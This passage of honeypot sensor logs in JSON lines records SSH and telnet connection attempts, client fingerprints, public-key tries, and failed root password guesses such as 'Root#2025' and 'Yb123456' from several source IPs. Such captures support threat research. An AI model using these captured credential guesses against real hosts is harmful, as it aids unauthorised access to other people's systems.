a-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:36.478295Z","src_ip":"59.17.95.129","session":"0d3bb4b8585d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root#2025","message":"login attempt [root/Root#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.300030Z","src_ip":"59.17.95.129","session":"0d3bb4b8585d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":42110,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5f35cf69f3","protocol":"ssh","message":"New connection: 43.159.169.93:42110 (159.203.135.109:22) [session: 0b5f35cf69f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.322041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.329472Z","src_ip":"43.159.169.93","session":"0b5f35cf69f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.397678Z","src_ip":"43.159.169.93","session":"0b5f35cf69f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60650,"dst_ip":"159.203.135.109","dst_port":22,"session":"8783fe6f625d","protocol":"ssh","message":"New connection: 103.172.78.219:60650 (159.203.135.109:22) [session: 8783fe6f625d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.583315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.588616Z","src_ip":"103.172.78.219","session":"8783fe6f625d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yb123456","message":"login attempt [root/Yb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.704259Z","src_ip":"43.159.169.93","session":"0b5f35cf69f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:37.852497Z","src_ip":"103.172.78.219","session":"8783fe6f625d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:38.499464Z","src_ip":"59.17.95.129","session":"0d3bb4b8585d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"303030","message":"login attempt [root/303030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:38.642817Z","src_ip":"103.172.78.219","session":"8783fe6f625d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:38.775581Z","src_ip":"43.159.169.93","session":"0b5f35cf69f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.55861496925354,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:39.764095Z","src_ip":"152.42.224.71","session":"57b7a25017ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:39.908946Z","src_ip":"103.172.78.219","session":"8783fe6f625d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60006,"dst_ip":"10.17.0.5","dst_port":23,"session":"283a7983f621","protocol":"telnet","message":"New connection: 152.42.224.71:60006 (10.17.0.5:23) [session: 283a7983f621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:42.543896Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36252,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a7a8611fbe","protocol":"ssh","message":"New connection: 103.149.170.125:36252 (159.203.135.109:22) [session: 26a7a8611fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:43.406029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:43.410791Z","src_ip":"103.149.170.125","session":"26a7a8611fbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:43.667658Z","src_ip":"103.149.170.125","session":"26a7a8611fbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asddsa","message":"login attempt [root/asddsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:44.744957Z","src_ip":"103.149.170.125","session":"26a7a8611fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:46.008273Z","src_ip":"103.149.170.125","session":"26a7a8611fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.235.26.80","src_port":46424,"dst_ip":"10.17.0.5","dst_port":22,"session":"22eeaee82e96","protocol":"ssh","message":"New connection: 167.235.26.80:46424 (10.17.0.5:22) [session: 22eeaee82e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:52.554953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:52.559508Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:52.655308Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:69:c0:51:b1:4d:83:c6:50:27:f1:06:a0:f8:f7:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqu57DZk5uPdJTwVNsVgN5ej2jFQ3EbYDmDncstWbTfW/fh5lkXqgHAubB7sPitrXP2wkxQrP13xKGPdLxd9uFw3ENDDADT1tyPSp6ljnrxoDGAPtidkkKbviaQqZpxz77b+J4ERHamPXpz8WLwkebha4urNPOoLpYa90ddEMIzomJSR2DYvjcAohZQKq+Sbp969qIv7hyABuQfOpm5XS2gHpoMIkMpaN61pI7eVG6LWLWKOXl0YTt2a3BaglVCQWbcc0ZxqAZwoEt8qXJoxxlTBq9uvGU0aKffK6osXl9YxlY0F4MkuRoyJ9vQ5bWbHqdR5Ecuh7hGtoQ4AP/ruTr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:69:c0:51:b1:4d:83:c6:50:27:f1:06:a0:f8:f7:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.106071Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:69:c0:51:b1:4d:83:c6:50:27:f1:06:a0:f8:f7:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqu57DZk5uPdJTwVNsVgN5ej2jFQ3EbYDmDncstWbTfW/fh5lkXqgHAubB7sPitrXP2wkxQrP13xKGPdLxd9uFw3ENDDADT1tyPSp6ljnrxoDGAPtidkkKbviaQqZpxz77b+J4ERHamPXpz8WLwkebha4urNPOoLpYa90ddEMIzomJSR2DYvjcAohZQKq+Sbp969qIv7hyABuQfOpm5XS2gHpoMIkMpaN61pI7eVG6LWLWKOXl0YTt2a3BaglVCQWbcc0ZxqAZwoEt8qXJoxxlTBq9uvGU0aKffK6osXl9YxlY0F4MkuRoyJ9vQ5bWbHqdR5Ecuh7hGtoQ4AP/ruTr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.113617Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:61:2c:f7:b5:ab:28:d3:3f:e4:8f:b5:62:33:c9:da","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/lZUilz2q6GLMntqTIvCfpsr9kLX3ebriNE6OCCKL/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e3:61:2c:f7:b5:ab:28:d3:3f:e4:8f:b5:62:33:c9:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.209463Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:61:2c:f7:b5:ab:28:d3:3f:e4:8f:b5:62:33:c9:da","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/lZUilz2q6GLMntqTIvCfpsr9kLX3ebriNE6OCCKL/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.213776Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:3b:51:08:98:7f:7d:fe:45:cf:6a:97:65:f9:7d:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDbRuDctTBgf//psjxOvojOhydc7oRW85DeN4lIhlmL3p2XhgNrsSYuZCLxIZKaxE/IkOcfFBBGuH0ar2rGB7XyHQApdczZGwBy/WStZ2SyP9n/rYlvSNriJCYwrysmctdttO4UqPvEwHBta2qV2eJgK+wVnZU4t27amKOBQYWXHXY3HCEHSrg5y7XJPJKQNkFCSoW6ZwxewoyqiCkCuOjgJpFBHrWOFY2CIVP0B2AJjQVrl9iYq9QqRIiQL7K0b8TAwqpR9qDa5YmOBk/OqP8aMawhlVWZRRM5kSmy2prEsRYHyaXxpRjGkAX9b5W8nGxyl4NEZWIEyktD50KAo2R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:3b:51:08:98:7f:7d:fe:45:cf:6a:97:65:f9:7d:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.310219Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:3b:51:08:98:7f:7d:fe:45:cf:6a:97:65:f9:7d:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDbRuDctTBgf//psjxOvojOhydc7oRW85DeN4lIhlmL3p2XhgNrsSYuZCLxIZKaxE/IkOcfFBBGuH0ar2rGB7XyHQApdczZGwBy/WStZ2SyP9n/rYlvSNriJCYwrysmctdttO4UqPvEwHBta2qV2eJgK+wVnZU4t27amKOBQYWXHXY3HCEHSrg5y7XJPJKQNkFCSoW6ZwxewoyqiCkCuOjgJpFBHrWOFY2CIVP0B2AJjQVrl9iYq9QqRIiQL7K0b8TAwqpR9qDa5YmOBk/OqP8aMawhlVWZRRM5kSmy2prEsRYHyaXxpRjGkAX9b5W8nGxyl4NEZWIEyktD50KAo2R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.314021Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:3e:d1:d2:92:04:c1:61:ae:60:b0:a1:5d:29:47:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC83+XO95lPIHreHcjxDpTUV1ZBYs3WMBMDu/dXg/arIXn8TURtBfptncU6mpt0ioVqhRh2l9onw4tmgFB7dVI2S0aBcZsAibHmelQ1BKCLAgDFXOwIt9/JsR1Y6P+gvs7w4Q535tukhB9YhtuYdFUjBzJpURrubrdxrdiY00h2/vgLVKn34WjO2MnCbKSlxAL/svDeRvrbtb5TZACih1ZsJ0QL0ySicJXS3VIQNgYAIrgTM2DfibSAujhJkImml0CC2HOlAB2sLewkF6tCuO9wXZ1lpFfBRbHEMFLcbsHYo20PBTxaBI9gcJoBsDAAHy0m1bLQ4POO7gOSa9psnrl7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:3e:d1:d2:92:04:c1:61:ae:60:b0:a1:5d:29:47:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.409013Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:3e:d1:d2:92:04:c1:61:ae:60:b0:a1:5d:29:47:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC83+XO95lPIHreHcjxDpTUV1ZBYs3WMBMDu/dXg/arIXn8TURtBfptncU6mpt0ioVqhRh2l9onw4tmgFB7dVI2S0aBcZsAibHmelQ1BKCLAgDFXOwIt9/JsR1Y6P+gvs7w4Q535tukhB9YhtuYdFUjBzJpURrubrdxrdiY00h2/vgLVKn34WjO2MnCbKSlxAL/svDeRvrbtb5TZACih1ZsJ0QL0ySicJXS3VIQNgYAIrgTM2DfibSAujhJkImml0CC2HOlAB2sLewkF6tCuO9wXZ1lpFfBRbHEMFLcbsHYo20PBTxaBI9gcJoBsDAAHy0m1bLQ4POO7gOSa9psnrl7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.412534Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:f7:cf:81:c1:49:ec:31:9f:5f:d9:6f:0c:f3:b9:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEA1k2LyOSYcZKC+lQ/V2GcMhclHMmuEzljiCrggK5o6lc/auvnKsqqvYe0GuhfSPf63ntsloqyBjv2Xyaq6lGNjJldcGn3n5LiC4PbhhDyj7McZFZezyMnHPvU1nKXfG2F1IvyYfVnr+jNAgJAvBS7dO/O0MYBzfmpHTHHKcdxgR0zn8GtPqnGwCrQUDCNZr/uWxggAzISc9AYB1Jwr6jKebedQ3ojAtdeYR4dckxuXWVH/qZzR0oC36wVxwOZdw+tpJ0PdHatQO1e7Z0QAKCSrUPvVr4NS+ZS4aoN9VT1rgHPPuQIjSOLuxhttkLBHQae1Iv81ycZPfIg+i54zOq4/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:f7:cf:81:c1:49:ec:31:9f:5f:d9:6f:0c:f3:b9:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.507884Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:f7:cf:81:c1:49:ec:31:9f:5f:d9:6f:0c:f3:b9:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEA1k2LyOSYcZKC+lQ/V2GcMhclHMmuEzljiCrggK5o6lc/auvnKsqqvYe0GuhfSPf63ntsloqyBjv2Xyaq6lGNjJldcGn3n5LiC4PbhhDyj7McZFZezyMnHPvU1nKXfG2F1IvyYfVnr+jNAgJAvBS7dO/O0MYBzfmpHTHHKcdxgR0zn8GtPqnGwCrQUDCNZr/uWxggAzISc9AYB1Jwr6jKebedQ3ojAtdeYR4dckxuXWVH/qZzR0oC36wVxwOZdw+tpJ0PdHatQO1e7Z0QAKCSrUPvVr4NS+ZS4aoN9VT1rgHPPuQIjSOLuxhttkLBHQae1Iv81ycZPfIg+i54zOq4/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.511665Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:53.608898Z","src_ip":"167.235.26.80","session":"22eeaee82e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.014312744140625,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:55.415307Z","src_ip":"152.42.224.71","session":"acb86d84a449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.76192498207092,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:55.652447Z","src_ip":"152.42.224.71","session":"b7a11c05cb11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":56894,"dst_ip":"10.17.0.5","dst_port":22,"session":"26bc173cb2aa","protocol":"ssh","message":"New connection: 43.153.22.143:56894 (10.17.0.5:22) [session: 26bc173cb2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:59.809318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:59.813822Z","src_ip":"43.153.22.143","session":"26bc173cb2aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-s